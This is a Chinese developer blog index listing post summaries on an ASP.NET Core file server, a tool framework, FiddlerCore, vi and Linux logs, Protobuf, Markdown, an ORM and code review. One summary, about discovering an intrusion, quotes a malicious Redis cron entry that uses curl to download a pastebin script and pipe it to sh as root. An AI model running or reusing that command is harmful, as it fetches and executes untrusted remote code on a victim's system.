随笔- 96  评论- 599  文章- 14 
  2018年10月16日
摘要:一个基于ASP.NET Core的可伸缩、通用的文件服务器。 通常后端项目可能会有头像、图片、音频、视频等上传/下载需求,这些需求都可以抽象为文件服务。 ## 功能特点 * 支持Linux(推荐)、Windows * 可伸缩式架构,支持部署1-N台文件服务器 * RESTful架构的API接口,支持多语言客户端 * 支持文件秒传、断点续传、远程拉取上传 * 支持为用户指定磁盘空间配额 * 支持自定义文件处理器 阅读全文
posted @ 2018-10-16 11:21 Frank.Cui 阅读(4918) 评论(6) 推荐(4) 编辑
  2016年9月4日
摘要:对于喜欢开发的我经常会写一些小工具,这些小工具多以功能为主,不要求漂亮、个性化的UI。但起码要保证使用方便,因此最基本的功能要有: GUI(图片用户界面) 程序配置的保存与读取(让用户在GUI上操作要方便) 用户使用习惯的自动记录(例如:上次关闭时窗口位置及大小等) 程序崩溃捕获及上报 实时显示运行日志(当前执行到哪步了,输出结果是什么) 多线程管理及调度框架 如果每个工具都要COPY一遍以上功能的代码以后维护起来是个大坑,封装成库调用呢?那每个工具都要写一遍组装UI组件的代码。 仔细想一下,其实我要写的就是一款小工具,它以实现功能为主。 那么我就需要有一个开发框架,它可以让我只专注于功能(业务)的实现,简化UI相关的编码,最好是能用一行代码就实现一个UI功能,这个开发框架现在写好了我给它取名为TaskHosting 阅读全文
posted @ 2016-09-04 12:26 Frank.Cui 阅读(2216) 评论(6) 推荐(3) 编辑
  2018年10月16日
摘要:一个基于ASP.NET Core的可伸缩、通用的文件服务器。 通常后端项目可能会有头像、图片、音频、视频等上传/下载需求,这些需求都可以抽象为文件服务。 ## 功能特点 * 支持Linux(推荐)、Windows * 可伸缩式架构,支持部署1-N台文件服务器 * RESTful架构的API接口,支持多语言客户端 * 支持文件秒传、断点续传、远程拉取上传 * 支持为用户指定磁盘空间配额 * 支持自定义文件处理器 阅读全文
posted @ 2018-10-16 11:21 Frank.Cui 阅读(4918) 评论(6) 推荐(4) 编辑
  2018年9月5日
摘要:# 起因 偶然间发现redis里有一个陌生key:`tightsoft`,它的值是:`*/1 * * * * root curl -fsSL https://pastebin.com/raw/xbY7p5Tb|sh` 看key名就知道这肯定不是我们存的,再看value我警觉了,这是要定时执行脚本啊。 阅读全文
posted @ 2018-09-05 15:13 Frank.Cui 阅读(941) 评论(2) 推荐(1) 编辑
  2017年9月22日
摘要:为什么不用FiddlerCore? 说到FiddlerCore大家可能会比较陌生,那么它哥Fiddler就比较熟悉了;抓包、模拟低带宽、修改请求我平时比较常用。Fiddler的本质就是一个HTTP代理服务器。 FiddlerCore是Fiddler去除了UI的核心组件,可以用于二次开发。如下图所示: 阅读全文
posted @ 2017-09-22 23:11 Frank.Cui 阅读(4594) 评论(0) 推荐(1) 编辑
  2017年8月6日
摘要:高级用户! 在 Windows 10 笔记本电脑的触摸板上试用这些手势: 选择项目:点击触摸板。 滚动:将两根手指放在触摸板上,然后以水平或垂直方向滑动。 放大或缩小:将两根手指放在触摸板上,然后收缩或拉伸。 显示更多命令(类似于右键单击):使用两根手指点击触摸板,或按右下角。 查看所有打开的窗口: 阅读全文
posted @ 2017-08-06 13:35 Frank.Cui 阅读(1094) 评论(0) 推荐(0) 编辑
  2017年3月25日
摘要:vi命令示例大全 阅读全文
posted @ 2017-03-25 20:40 Frank.Cui 阅读(61510) 评论(0) 推荐(1) 编辑
摘要:查看日志 或 日志文件说明 系统启动后的信息和错误日志,是Red Hat Linux中最常用的日志之一 与安全相关的日志信息 与邮件相关的日志信息 与定时任务相关的日志信息 与UUCP和news设备相关的日志信息 守护进程启动和停止相关的日志消息 系统 查看内核/操作系统/CPU信息 查看操作系统版 阅读全文
posted @ 2017-03-25 19:56 Frank.Cui 阅读(411) 评论(0) 推荐(0) 编辑
  2017年3月22日
摘要:起因 通常使用Protobuf的步骤为 1. 定义 文件 2. 使用 生成对应语言的代码 以生成C 代码为例,使用如下命令: 其生成的C 代码像这样: C 开发通常使用Pascal、Camel二种命名规范 用Pascal规则来命名类名、属性、方法和事件 用Camel规则来命名成员变量、局部变量和方法 阅读全文
posted @ 2017-03-22 15:18 Frank.Cui 阅读(403) 评论(1) 推荐(1) 编辑
摘要:# 简介 **Markdown**是一种轻量级标记语言,创始人为约翰·格鲁伯(John Gruber)。它允许人们“使用易读易写的纯文本格式编写文档,然后转换成有效的XHTML(或者HTML)文档”。这种语言吸收了很多在电子邮件中已有的纯文本标记的特性。 阅读全文
posted @ 2017-03-22 14:27 Frank.Cui 阅读(193) 评论(0) 推荐(0) 编辑
  2017年3月17日
摘要:为什么要重复造轮子 因为现有的轮子都在某些方面不太令我满意,下面我来一一点评一下,欢迎拍砖。 Entity Framework 我喜欢傻瓜化使用方式的框架,同时又不失灵活性。 EF虽然使用起来足够简单,但却不够灵活。例如,在EF Core中你无法用原生SQL写一个多表连接查询(返回的结果是多表连接的 阅读全文
posted @ 2017-03-17 21:42 Frank.Cui 阅读(5801) 评论(35) 推荐(7) 编辑
  2017年2月27日
摘要:为什么要进行代码审核? 提早发现代码中的BUG,避免将BUG带到生产环境 极大的提高软件质量,以及可维护性 统一代码规范、提高可读性,减少新加入成员的熟悉时间 加速个人和团队的成长,知识和经验的积累 阅读全文
posted @ 2017-02-27 19:41 Frank.Cui 阅读(694) 评论(1) 推荐(0) 编辑